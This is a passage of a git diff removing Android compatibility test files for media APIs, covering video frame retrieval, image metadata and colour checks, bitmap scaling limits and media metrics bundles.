-    public void testGetFrameAtTimeClosestEmptyNormalEditList() {
-        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
-        int[][] testCases = {
-                { 2133000, 60 }, { 2566000, 73 }, { 2666000, 76 }, { 3066001, 88 }, { 3255000, 94}};
-        testGetFrameAtTimeEmptyNormalEditList(OPTION_CLOSEST, testCases);
-    }
-
-    private void testGetFrameAtTime(int option, int[][] testCases) {
-        testGetFrameAt(testCases, (r) -> {
-            List<Bitmap> bitmaps = new ArrayList<>();
-            for (int i = 0; i < testCases.length; i++) {
-                bitmaps.add(r.getFrameAtTime(testCases[i][0], option));
-            }
-            return bitmaps;
-        });
-    }
-
-    private void testGetFrameAtTimeEditList(int option, int[][] testCases) {
-        MediaMetadataRetriever.BitmapParams params = new MediaMetadataRetriever.BitmapParams();
-        params.setPreferredConfig(Bitmap.Config.ARGB_8888);
-
-        testGetFrameAtEditList(testCases, (r) -> {
-            List<Bitmap> bitmaps = new ArrayList<>();
-            for (int i = 0; i < testCases.length; i++) {
-                Bitmap bitmap = r.getFrameAtTime(testCases[i][0], option, params);
-                assertEquals(Bitmap.Config.ARGB_8888, params.getActualConfig());
-                bitmaps.add(bitmap);
-            }
-            return bitmaps;
-        });
-    }
-
-    private void testGetFrameAtTimeEmptyNormalEditList(int option, int[][] testCases) {
-        MediaMetadataRetriever.BitmapParams params = new MediaMetadataRetriever.BitmapParams();
-        params.setPreferredConfig(Bitmap.Config.ARGB_8888);
-
-        testGetFrameAtEmptyNormalEditList(testCases, (r) -> {
-            List<Bitmap> bitmaps = new ArrayList<>();
-            for (int i = 0; i < testCases.length; i++) {
-                Bitmap bitmap = r.getFrameAtTime(testCases[i][0], option, params);
-                assertEquals(Bitmap.Config.ARGB_8888, params.getActualConfig());
-                bitmaps.add(bitmap);
-            }
-            return bitmaps;
-        });
-    }
-
-    public void testGetFrameAtIndex() {
-        int[][] testCases = { { 60, 60 }, { 73, 73 }, { 76, 76 }, { 88, 88 }, { 94, 94} };
-
-        testGetFrameAt(testCases, (r) -> {
-            List<Bitmap> bitmaps = new ArrayList<>();
-            for (int i = 0; i < testCases.length; i++) {
-                bitmaps.add(r.getFrameAtIndex(testCases[i][0]));
-            }
-            return bitmaps;
-        });
-
-        MediaMetadataRetriever.BitmapParams params = new MediaMetadataRetriever.BitmapParams();
-        params.setPreferredConfig(Bitmap.Config.RGB_565);
-        assertEquals("Failed to set preferred config",
-                Bitmap.Config.RGB_565, params.getPreferredConfig());
-
-        testGetFrameAt(testCases, (r) -> {
-            List<Bitmap> bitmaps = new ArrayList<>();
-            for (int i = 0; i < testCases.length; i++) {
-                Bitmap bitmap = r.getFrameAtIndex(testCases[i][0], params);
-                assertEquals(Bitmap.Config.RGB_565, params.getActualConfig());
-                bitmaps.add(bitmap);
-            }
-            return bitmaps;
-        });
-    }
-
-    public void testGetFramesAtIndex() {
-        int[][] testCases = { { 27, 27 }, { 28, 28 }, { 29, 29 }, { 30, 30 }, { 31, 31} };
-
-        testGetFrameAt(testCases, (r) -> {
-            return r.getFramesAtIndex(testCases[0][0], testCases.length);
-        });
-
-        MediaMetadataRetriever.BitmapParams params = new MediaMetadataRetriever.BitmapParams();
-        params.setPreferredConfig(Bitmap.Config.RGB_565);
-        assertEquals("Failed to set preferred config",
-                Bitmap.Config.RGB_565, params.getPreferredConfig());
-
-        testGetFrameAt(testCases, (r) -> {
-            List<Bitmap> bitmaps = r.getFramesAtIndex(testCases[0][0], testCases.length, params);
-            assertEquals(Bitmap.Config.RGB_565, params.getActualConfig());
-            return bitmaps;
-        });
-    }
-
-    private void testGetFrameAt(int[][] testCases,
-            Function<MediaMetadataRetriever, List<Bitmap>> bitmapRetriever) {
-        testGetFrameAt("binary_counter_320x240_30fps_600frames.mp4",
-                testCases, bitmapRetriever);
-    }
-
-    private void testGetFrameAtEditList(int[][] testCases,
-            Function<MediaMetadataRetriever, List<Bitmap>> bitmapRetriever) {
-        testGetFrameAt("binary_counter_320x240_30fps_600frames_editlist.mp4",
-                testCases, bitmapRetriever);
-    }
-
-    private void testGetFrameAtEmptyNormalEditList(int[][] testCases,
-            Function<MediaMetadataRetriever, List<Bitmap>> bitmapRetriever) {
-        testGetFrameAt("binary_counter_320x240_30fps_600frames_empty_normal_editlist_entries.mp4",
-                testCases, bitmapRetriever);
-    }
-
-    private void testGetFrameAt(final String res, int[][] testCases,
-            Function<MediaMetadataRetriever, List<Bitmap>> bitmapRetriever) {
-
-        setDataSourceFd(res);
-
-        if (!MediaUtils.hasCodecForResourceAndDomain(res, "video/")
-            && mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
-            MediaUtils.skipTest("no video codecs for resource on watch");
-            return;
-        }
-
-        List<Bitmap> bitmaps = bitmapRetriever.apply(mRetriever);
-        for (int i = 0; i < testCases.length; i++) {
-            verifyVideoFrame(bitmaps.get(i), testCases[i]);
-        }
-    }
-
-    private void verifyVideoFrame(Bitmap bitmap, int[] testCase) {
-        try {
-            assertTrue("Failed to get bitmap for " + testCase[0], bitmap != null);
-            assertEquals("Counter value incorrect for " + testCase[0],
-                    testCase[1], CodecUtils.readBinaryCounterFromBitmap(bitmap));
-
-            if (SAVE_BITMAP_OUTPUT) {
-                CodecUtils.saveBitmapToFile(bitmap, "test_" + testCase[0] + ".jpg");
-            }
-        } catch (Exception e) {
-            fail("Exception getting bitmap: " + e);
-        }
-    }
-
-    private void verifyVideoFrameRotation(Bitmap bitmap, int targetRotation) {
-        try {
-            assertTrue("Failed to get bitmap for " + targetRotation + " degrees", bitmap != null);
-            assertTrue("Frame incorrect for " + targetRotation + " degrees",
-                CodecUtils.VerifyFrameRotationFromBitmap(bitmap, targetRotation));
-
-            if (SAVE_BITMAP_OUTPUT) {
-                CodecUtils.saveBitmapToFile(bitmap, "test_rotation_" + targetRotation + ".jpg");
-            }
-        } catch (Exception e) {
-            fail("Exception getting bitmap: " + e);
-        }
-    }
-
-    /**
-     * The following tests verifies MediaMetadataRetriever.getScaledFrameAtTime behavior.
-     */
-    public void testGetScaledFrameAtTimeWithInvalidResolutions() {
-        String[] resources = {"binary_counter_320x240_30fps_600frames.mp4",
-                "binary_counter_320x240_30fps_600frames_editlist.mp4",
-                "bbb_s4_1280x720_mp4_h264_mp31_8mbps_30fps_aac_he_mono_40kbps_44100hz.mp4",
-                "video_176x144_3gp_h263_56kbps_12fps_aac_mono_24kbps_11025hz.3gp",
-                "video_1280x720_mp4_mpeg4_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
-                "bbb_s1_640x360_webm_vp8_2mbps_30fps_vorbis_5ch_320kbps_48000hz.webm",
-                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
-                "bbb_s1_720x480_mp4_hevc_mp3_1600kbps_30fps_aac_he_6ch_240kbps_48000hz.mp4",
-                "video_1280x720_vp9_hdr_static_3mbps.mkv",
-                "video_1280x720_av1_hdr_static_3mbps.webm",
-                "video_1280x720_hevc_hdr10_static_3mbps.mp4"};
-        int[][] resolutions = {{0, 120}, {-1, 0}, {-1, 120}, {140, -1}, {-1, -1}};
-        int[] options =
-                {OPTION_CLOSEST, OPTION_CLOSEST_SYNC, OPTION_NEXT_SYNC, OPTION_PREVIOUS_SYNC};
-
-        for (String res : resources) {
-            setDataSourceFd(res);
-            if (!MediaUtils.hasCodecForResourceAndDomain(res, "video/")
-                    && mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
-                MediaUtils.skipTest("no video codecs for resource on watch");
-                continue;
-            }
-
-            for (int i = 0; i < resolutions.length; i++) {
-                int width = resolutions[i][0];
-                int height = resolutions[i][1];
-                for (int option : options) {
-                    try {
-                        Bitmap bitmap = mRetriever.getScaledFrameAtTime(
-                                2066666 /*timeUs*/, option, width, height);
-                        fail("Failed to receive exception");
-                    } catch (IllegalArgumentException e) {
-                        // Expect exception
-                    }
-                }
-            }
-        }
-    }
-
-    private void testGetScaledFrameAtTime(int scaleToWidth, int scaleToHeight,
-            int expectedWidth, int expectedHeight, Bitmap.Config config) {
-        if (!MediaUtils.check(mIsAtLeastR, "test needs Android 11")) return;
-        MediaMetadataRetriever.BitmapParams params = null;
-        Bitmap bitmap = null;
-        if (config != null) {
-            params = new MediaMetadataRetriever.BitmapParams();
-            params.setPreferredConfig(config);
-            bitmap = mRetriever.getScaledFrameAtTime(
-                    2066666 /*timeUs */, OPTION_CLOSEST, scaleToWidth, scaleToHeight, params);
-        } else {
-            bitmap = mRetriever.getScaledFrameAtTime(
-                    2066666 /*timeUs */, OPTION_CLOSEST, scaleToWidth, scaleToHeight);
-        }
-        if (bitmap == null) {
-            fail("Failed to get scaled bitmap");
-        }
-        if (SAVE_BITMAP_OUTPUT) {
-            CodecUtils.saveBitmapToFile(bitmap, String.format("test_%dx%d.jpg",
-                    expectedWidth, expectedHeight));
-        }
-        if (config != null) {
-            assertEquals("Actual config is wrong", config, params.getActualConfig());
-        }
-        assertEquals("Bitmap width is wrong", expectedWidth, bitmap.getWidth());
-        assertEquals("Bitmap height is wrong", expectedHeight, bitmap.getHeight());
-    }
-
-    public void testGetScaledFrameAtTime() {
-        String res = "binary_counter_320x240_30fps_600frames.mp4";
-        setDataSourceFd(res);
-        if (!MediaUtils.hasCodecForResourceAndDomain(res, "video/")
-            && mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
-            MediaUtils.skipTest("no video codecs for resource on watch");
-            return;
-        }
-
-        MediaMetadataRetriever.BitmapParams params = new MediaMetadataRetriever.BitmapParams();
-
-        // Test desided size of 160 x 120. Return should be 160 x 120
-        testGetScaledFrameAtTime(160, 120, 160, 120, Bitmap.Config.ARGB_8888);
-
-        // Test scaled up bitmap to 640 x 480. Return should be 640 x 480
-        testGetScaledFrameAtTime(640, 480, 640, 480, Bitmap.Config.ARGB_8888);
-
-        // Test scaled up bitmap to 320 x 120. Return should be 160 x 120
-        testGetScaledFrameAtTime(320, 120, 160, 120, Bitmap.Config.RGB_565);
-
-        // Test scaled up bitmap to 160 x 240. Return should be 160 x 120
-        testGetScaledFrameAtTime(160, 240, 160, 120, Bitmap.Config.RGB_565);
-
-        // Test scaled the video with aspect ratio
-        res = "binary_counter_320x240_720x240_30fps_600frames.mp4";
-        setDataSourceFd(res);
-
-        testGetScaledFrameAtTime(330, 240, 330, 110, null);
-    }
-
-    public void testGetImageAtIndex() throws Exception {
-        if (!MediaUtils.hasDecoder(MediaFormat.MIMETYPE_VIDEO_HEVC)) {
-            MediaUtils.skipTest("no video decoders for resource");
-            return;
-        }
-
-        testGetImage("heifwriter_input.heic", 1920, 1080, "image/heif", 0 /*rotation*/,
-                4 /*imageCount*/, 3 /*primary*/, true /*useGrid*/, true /*checkColor*/);
-    }
-
-    public void testGetImageAtIndexAvif() throws Exception {
-        if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return;
-        if (!MediaUtils.canDecodeVideo("AV1", 1920, 1080, 30)) {
-            MediaUtils.skipTest("No AV1 codec for 1080p");
-            return;
-        }
-        testGetImage("sample.avif", 1920, 1080, "image/avif", 0 /*rotation*/,
-                1 /*imageCount*/, 0 /*primary*/, false /*useGrid*/, true /*checkColor*/);
-    }
-
-    public void testGetImageAtIndexAvifGrid() throws Exception {
-        if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return;
-        if (!MediaUtils.canDecodeVideo("AV1", 512, 512, 30)) {
-            MediaUtils.skipTest("No AV1 codec for 512p");
-            return;
-        }
-        testGetImage("sample_grid2x4.avif", 1920, 1080, "image/avif", 0 /*rotation*/,
-                1 /*imageCount*/, 0 /*primary*/, true /*useGrid*/, true /*checkColor*/);
-    }
-
-    /**
-     * Determines if two color values are approximately equal.
-     */
-    private static boolean approxEquals(Color expected, Color actual) {
-        final float MAX_DELTA = 0.025f;
-        return (Math.abs(expected.red() - actual.red()) <= MAX_DELTA)
-            && (Math.abs(expected.green() - actual.green()) <= MAX_DELTA)
-            && (Math.abs(expected.blue() - actual.blue()) <= MAX_DELTA);
-    }
-
-    private static Rect getColorBarRect(int index, int width, int height) {
-        int barWidth = (width - BORDER_WIDTH * 2) / COLOR_BARS.length;
-        return new Rect(BORDER_WIDTH + barWidth * index, BORDER_WIDTH,
-                BORDER_WIDTH + barWidth * (index + 1), height - BORDER_WIDTH);
-    }
-
-    private static Rect getColorBlockRect(int index, int width, int height) {
-        int blockCenterX = (width / 5) * (index % 4 + 1);
-        return new Rect(blockCenterX - width / 10, height / 6,
-                        blockCenterX + width / 10, height / 3);
-    }
-
-    private void testGetImage(
-            final String res, int width, int height, String mimeType, int rotation,
-            int imageCount, int primary, boolean useGrid, boolean checkColor)
-                    throws Exception {
-        Stopwatch timer = new Stopwatch();
-        MediaExtractor extractor = null;
-        AssetFileDescriptor afd = null;
-        InputStream inputStream = null;
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-
-        try {
-            setDataSourceFd(res);
-
-            // Verify image related meta keys.
-            String hasImage = mRetriever.extractMetadata(
-                    MediaMetadataRetriever.METADATA_KEY_HAS_IMAGE);
-            assertTrue("No images found in res " + res, "yes".equals(hasImage));
-            assertEquals("Wrong width", width,
-                    Integer.parseInt(mRetriever.extractMetadata(
-                            MediaMetadataRetriever.METADATA_KEY_IMAGE_WIDTH)));
-            assertEquals("Wrong height", height,
-                    Integer.parseInt(mRetriever.extractMetadata(
-                            MediaMetadataRetriever.METADATA_KEY_IMAGE_HEIGHT)));
-            assertEquals("Wrong rotation", rotation,
-                    Integer.parseInt(mRetriever.extractMetadata(
-                            MediaMetadataRetriever.METADATA_KEY_IMAGE_ROTATION)));
-            assertEquals("Wrong image count", imageCount,
-                    Integer.parseInt(mRetriever.extractMetadata(
-                            MediaMetadataRetriever.METADATA_KEY_IMAGE_COUNT)));
-            assertEquals("Wrong primary index", primary,
-                    Integer.parseInt(mRetriever.extractMetadata(
-                            MediaMetadataRetriever.METADATA_KEY_IMAGE_PRIMARY)));
-            assertEquals("Wrong mime type", mimeType,
-                    mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_MIMETYPE));
-
-            if (checkColor) {
-                Bitmap bitmap = null;
-                // For each image in the image collection, check the 7 color bars' color.
-                // Also check the position of the color block, which should move left-to-right
-                // with the index.
-                for (int imageIndex = 0; imageIndex < imageCount; imageIndex++) {
-                    timer.start();
-                    bitmap = mRetriever.getImageAtIndex(imageIndex);
-                    assertNotNull("Failed to retrieve image at index " + imageIndex, bitmap);
-                    timer.end();
-                    timer.printDuration("getImageAtIndex");
-
-                    for (int barIndex = 0; barIndex < COLOR_BARS.length; barIndex++) {
-                        Rect r = getColorBarRect(barIndex, width, height);
-                        assertTrue("Color bar " + barIndex +
-                                " for image " + imageIndex + " doesn't match",
-                                approxEquals(COLOR_BARS[barIndex], Color.valueOf(
-                                        bitmap.getPixel(r.centerX(), r.centerY()))));
-                    }
-
-                    Rect r = getColorBlockRect(imageIndex, width, height);
-                    assertTrue("Color block for image " + imageIndex + " doesn't match",
-                            approxEquals(COLOR_BLOCK, Color.valueOf(
-                                    bitmap.getPixel(r.centerX(), height - r.centerY()))));
-                    bitmap.recycle();
-                }
-
-                // Check the color block position on the primary image.
-                Rect r = getColorBlockRect(primary, width, height);
-
-                timer.start();
-                bitmap = mRetriever.getPrimaryImage();
-                timer.end();
-                timer.printDuration("getPrimaryImage");
-
-                assertTrue("Color block for primary image doesn't match",
-                        approxEquals(COLOR_BLOCK, Color.valueOf(
-                                bitmap.getPixel(r.centerX(), height - r.centerY()))));
-                bitmap.recycle();
-
-                // Check the color block position on the bitmap decoded by BitmapFactory.
-                // This should match the primary image as well.
-                inputStream = new FileInputStream(mInpPrefix + res);
-                bitmap = BitmapFactory.decodeStream(inputStream);
-                assertTrue("Color block for bitmap decoding doesn't match",
-                        approxEquals(COLOR_BLOCK, Color.valueOf(
-                                bitmap.getPixel(r.centerX(), height - r.centerY()))));
-                bitmap.recycle();
-            }
-
-            // Check the grid configuration related keys.
-            if (useGrid) {
-                extractor = new MediaExtractor();
-                afd = getAssetFileDescriptorFor(res);
-                extractor.setDataSource(
-                        afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-                MediaFormat format = extractor.getTrackFormat(0);
-                int tileWidth = format.getInteger(MediaFormat.KEY_TILE_WIDTH);
-                int tileHeight = format.getInteger(MediaFormat.KEY_TILE_HEIGHT);
-                int gridRows = format.getInteger(MediaFormat.KEY_GRID_ROWS);
-                int gridCols = format.getInteger(MediaFormat.KEY_GRID_COLUMNS);
-                assertTrue("Wrong tile width or grid cols",
-                        ((width + tileWidth - 1) / tileWidth) == gridCols);
-                assertTrue("Wrong tile height or grid rows",
-                        ((height + tileHeight - 1) / tileHeight) == gridRows);
-            }
-        } catch (IOException e) {
-            fail("Unable to open file");
-        } finally {
-            if (extractor != null) {
-                extractor.release();
-            }
-            if (afd != null) {
-                afd.close();
-            }
-            if (inputStream != null) {
-                inputStream.close();
-            }
-        }
-    }
-
-    private void copyMediaFile() {
-        InputStream inputStream = null;
-        FileOutputStream outputStream = null;
-        Preconditions.assertTestFileExists(mInpPrefix + "testvideo.3gp");
-        String outputPath = new File(
-            Environment.getExternalStorageDirectory(), TEST_MEDIA_FILE).getAbsolutePath();
-        try {
-            inputStream = new FileInputStream(mInpPrefix + "testvideo.3gp");
-            outputStream = new FileOutputStream(outputPath);
-            copy(inputStream, outputStream);
-        } catch (Exception e) {
-
-        }finally {
-            closeQuietly(inputStream);
-            closeQuietly(outputStream);
-        }
-    }
-
-    private int copy(InputStream in, OutputStream out) throws IOException {
-        int total = 0;
-        byte[] buffer = new byte[8192];
-        int c;
-        while ((c = in.read(buffer)) != -1) {
-            total += c;
-            out.write(buffer, 0, c);
-        }
-        return total;
-    }
-
-    private void closeQuietly(Closeable closeable) {
-        if (closeable != null) {
-            try {
-                closeable.close();
-            } catch (RuntimeException rethrown) {
-                throw rethrown;
-            } catch (Exception ignored) {
-            }
-        }
-    }
-
-    private class Stopwatch {
-        private long startTimeMs;
-        private long endTimeMs;
-        private boolean isStartCalled;
-
-        public Stopwatch() {
-            startTimeMs = endTimeMs = 0;
-            isStartCalled = false;
-        }
-
-        public void start() {
-            startTimeMs = System.currentTimeMillis();
-            isStartCalled = true;
-        }
-
-        public void end() {
-            endTimeMs = System.currentTimeMillis();
-            if (!isStartCalled) {
-                Log.e(TAG, "Error: end() must be called after start()!");
-                return;
-            }
-            isStartCalled = false;
-        }
-
-        public void printDuration(String functionName) {
-            long duration = endTimeMs - startTimeMs;
-            Log.i(TAG, String.format("%s() took %d ms.", functionName, duration));
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataTest.java
deleted file mode 100644
index 0483c9d..0000000
--- a/tests/tests/media/src/android/media/cts/MediaMetadataTest.java
+++ /dev/null
@@ -1,107 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.graphics.Bitmap;
-import android.media.MediaMetadata;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-import androidx.test.filters.SmallTest;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Tests {@link MediaMetadata}.
- */
-// TODO(b/168668505): Add tests for other methods.
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-@NonMediaMainlineTest
-public class MediaMetadataTest {
-
-    @Test
-    public void getBitmapDimensionLimit_returnsIntegerMaxWhenNotSet() {
-        MediaMetadata metadata = new MediaMetadata.Builder().build();
-        assertEquals(Integer.MAX_VALUE, metadata.getBitmapDimensionLimit());
-    }
-
-    @Test
-    public void builder_setBitmapDimensionLimit_bitmapsAreScaledDown() {
-        // A large bitmap (64MB).
-        final int originalWidth = 4096;
-        final int originalHeight = 4096;
-        Bitmap testBitmap = Bitmap.createBitmap(
-                originalWidth, originalHeight, Bitmap.Config.ARGB_8888);
-
-        final int testBitmapDimensionLimit = 16;
-
-        MediaMetadata metadata = new MediaMetadata.Builder()
-                .putBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART, testBitmap)
-                .setBitmapDimensionLimit(testBitmapDimensionLimit)
-                .build();
-        assertEquals(testBitmapDimensionLimit, metadata.getBitmapDimensionLimit());
-
-        Bitmap scaledDownBitmap = metadata.getBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART);
-        assertNotNull(scaledDownBitmap);
-        assertTrue(scaledDownBitmap.getWidth() <= testBitmapDimensionLimit);
-        assertTrue(scaledDownBitmap.getHeight() <= testBitmapDimensionLimit);
-    }
-
-    @Test
-    public void builder_setBitmapDimensionLimit_bitmapsAreNotScaledDown() {
-        // A small bitmap.
-        final int originalWidth = 16;
-        final int originalHeight = 16;
-        Bitmap testBitmap = Bitmap.createBitmap(
-                originalWidth, originalHeight, Bitmap.Config.ARGB_8888);
-
-        // The limit is larger than the width/height.
-        final int testBitmapDimensionLimit = 256;
-
-        MediaMetadata metadata = new MediaMetadata.Builder()
-                .putBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART, testBitmap)
-                .setBitmapDimensionLimit(testBitmapDimensionLimit)
-                .build();
-        assertEquals(testBitmapDimensionLimit, metadata.getBitmapDimensionLimit());
-
-        Bitmap notScaledDownBitmap = metadata.getBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART);
-        assertNotNull(notScaledDownBitmap);
-        assertEquals(originalWidth, notScaledDownBitmap.getWidth());
-        assertEquals(originalHeight, notScaledDownBitmap.getHeight());
-    }
-
-    @Test
-    public void builder_setMaxBitmapDimensionLimit_unsetLimit() {
-        final int testBitmapDimensionLimit = 256;
-        MediaMetadata metadata = new MediaMetadata.Builder()
-                .setBitmapDimensionLimit(testBitmapDimensionLimit)
-                .build();
-        assertEquals(testBitmapDimensionLimit, metadata.getBitmapDimensionLimit());
-
-        // Using copy constructor, unset the limit by passing zero to the limit.
-        MediaMetadata copiedMetadataWithLimitUnset = new MediaMetadata.Builder()
-                .setBitmapDimensionLimit(Integer.MAX_VALUE)
-                .build();
-        assertEquals(Integer.MAX_VALUE, copiedMetadataWithLimitUnset.getBitmapDimensionLimit());
-    }
-
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaMetricsTest.java b/tests/tests/media/src/android/media/cts/MediaMetricsTest.java
deleted file mode 100644
index 7898b2d..0000000
--- a/tests/tests/media/src/android/media/cts/MediaMetricsTest.java
+++ /dev/null
@@ -1,138 +0,0 @@
-/*
- * Copyright 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertEquals;
-
-import android.media.MediaMetrics;
-import android.os.Bundle;
-import android.os.Process;
-import androidx.test.runner.AndroidJUnit4;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Tests for MediaMetrics item handling.
- */
-
-@NonMediaMainlineTest
-@RunWith(AndroidJUnit4.class)
-public class MediaMetricsTest {
-
-    /**
-     * This tests MediaMetrics item creation.
-     */
-    @Test
-    public void testBasicItem() {
-        final String key = "Key";
-        final MediaMetrics.Item item = new MediaMetrics.Item(key);
-
-        item.putInt("int", (int) 1)
-            .putLong("long", (long) 2)
-            .putString("string", "ABCD")
-            .putDouble("double", (double) 3.1);
-
-        // Verify what is in the item by converting to a bundle.
-        // This uses special MediaMetrics.Item APIs for CTS test.
-        // The BUNDLE_* string keys represent internal Item data to be verified.
-        final Bundle bundle = item.toBundle();
-
-        assertEquals(1, bundle.getInt("int"));
-        assertEquals(2, bundle.getLong("long"));
-        assertEquals("ABCD", bundle.getString("string"));
-        assertEquals(3.1, bundle.getDouble("double"), 1e-6 /* delta */);
-
-        assertEquals("Key", bundle.getString(MediaMetrics.Item.BUNDLE_KEY));
-        assertEquals(-1, bundle.getInt(MediaMetrics.Item.BUNDLE_PID));  // default PID
-        assertEquals(-1, bundle.getInt(MediaMetrics.Item.BUNDLE_UID));  // default UID
-        assertEquals(0, bundle.getChar(MediaMetrics.Item.BUNDLE_VERSION));
-        assertEquals(key.length() + 1, bundle.getChar(MediaMetrics.Item.BUNDLE_KEY_SIZE));
-        assertEquals(0, bundle.getLong(MediaMetrics.Item.BUNDLE_TIMESTAMP)); // default Time
-        assertEquals(4, bundle.getInt(MediaMetrics.Item.BUNDLE_PROPERTY_COUNT));
-    }
-
-    /**
-     * This tests MediaMetrics item buffer expansion when the initial buffer capacity is set to 1.
-     */
-    @Test
-    public void testBigItem() {
-        final String key = "Key";
-        final int intKeyCount = 10000;
-        final MediaMetrics.Item item = new MediaMetrics.Item(
-                key, 1 /* pid */, 2 /* uid */, 3 /* time */, 1 /* capacity */);
-
-        item.putInt("int", (int) 1)
-            .putLong("long", (long) 2)
-            .putString("string", "ABCD")
-            .putDouble("double", (double) 3.1);
-
-        // Putting 10000 int properties forces the item to reallocate the buffer several times.
-        for (Integer i = 0; i < intKeyCount; ++i) {
-            item.putInt(i.toString(), i);
-        }
-
-        // Verify what is in the item by converting to a bundle.
-        // This uses special MediaMetrics.Item APIs for CTS test.
-        // The BUNDLE_* string keys represent internal Item data to be verified.
-        final Bundle bundle = item.toBundle();
-
-        assertEquals(1, bundle.getInt("int"));
-        assertEquals(2, bundle.getLong("long"));
-        assertEquals("ABCD", bundle.getString("string"));
-        assertEquals(3.1, bundle.getDouble("double"), 1e-6 /* delta */);
-
-        assertEquals(key, bundle.getString(MediaMetrics.Item.BUNDLE_KEY));
-        assertEquals(1, bundle.getInt(MediaMetrics.Item.BUNDLE_PID));
-        assertEquals(2, bundle.getInt(MediaMetrics.Item.BUNDLE_UID));
-        assertEquals(0, bundle.getChar(MediaMetrics.Item.BUNDLE_VERSION));
-        assertEquals(key.length() + 1, bundle.getChar(MediaMetrics.Item.BUNDLE_KEY_SIZE));
-        assertEquals(3, bundle.getLong(MediaMetrics.Item.BUNDLE_TIMESTAMP));
-
-        for (Integer i = 0; i < intKeyCount; ++i) {
-            assertEquals((int) i, bundle.getInt(i.toString()));
-        }
-
-        assertEquals(intKeyCount + 4, bundle.getInt(MediaMetrics.Item.BUNDLE_PROPERTY_COUNT));
-
-        item.clear(); // removes properties.
-        item.putInt("value", (int) 100);
-
-        final Bundle bundle2 = item.toBundle();
-
-        assertEquals(key, bundle2.getString(MediaMetrics.Item.BUNDLE_KEY));
-        assertEquals(1, bundle2.getInt(MediaMetrics.Item.BUNDLE_PID));
-        assertEquals(2, bundle2.getInt(MediaMetrics.Item.BUNDLE_UID));
-        assertEquals(0, bundle2.getChar(MediaMetrics.Item.BUNDLE_VERSION));
-        assertEquals(key.length() + 1, bundle2.getChar(MediaMetrics.Item.BUNDLE_KEY_SIZE));
-        assertEquals(0, bundle2.getLong(MediaMetrics.Item.BUNDLE_TIMESTAMP)); // time is reset.
-
-        for (Integer i = 0; i < intKeyCount; ++i) {
-            assertEquals(-1, bundle2.getInt(i.toString(), -1));
-        }
-        assertEquals(100, bundle2.getInt("value"));
-        assertEquals(1, bundle2.getInt(MediaMetrics.Item.BUNDLE_PROPERTY_COUNT));
-
-        // Now override pid, uid, and time.
-        item.setPid(10)
-            .setUid(11)
-            .setTimestamp(12);
-        final Bundle bundle3 = item.toBundle();
-        assertEquals(10, bundle3.getInt(MediaMetrics.Item.BUNDLE_PID));
-        assertEquals(11, bundle3.getInt(MediaMetrics.Item.BUNDLE_UID));
-        assertEquals(12, bundle3.getLong(MediaMetrics.Item.BUNDLE_TIMESTAMP));
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaMuxerTest.java b/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
deleted file mode 100644
index 456f2ef..0000000
--- a/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
+++ /dev/null
@@ -1,1428 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.Context;
-import android.content.res.AssetFileDescriptor;
-import android.media.MediaCodec.BufferInfo;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.media.MediaMetadataRetriever;
-import android.media.MediaMuxer;
-import android.os.Build;
-import android.os.ParcelFileDescriptor;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.io.RandomAccessFile;
-import java.nio.ByteBuffer;
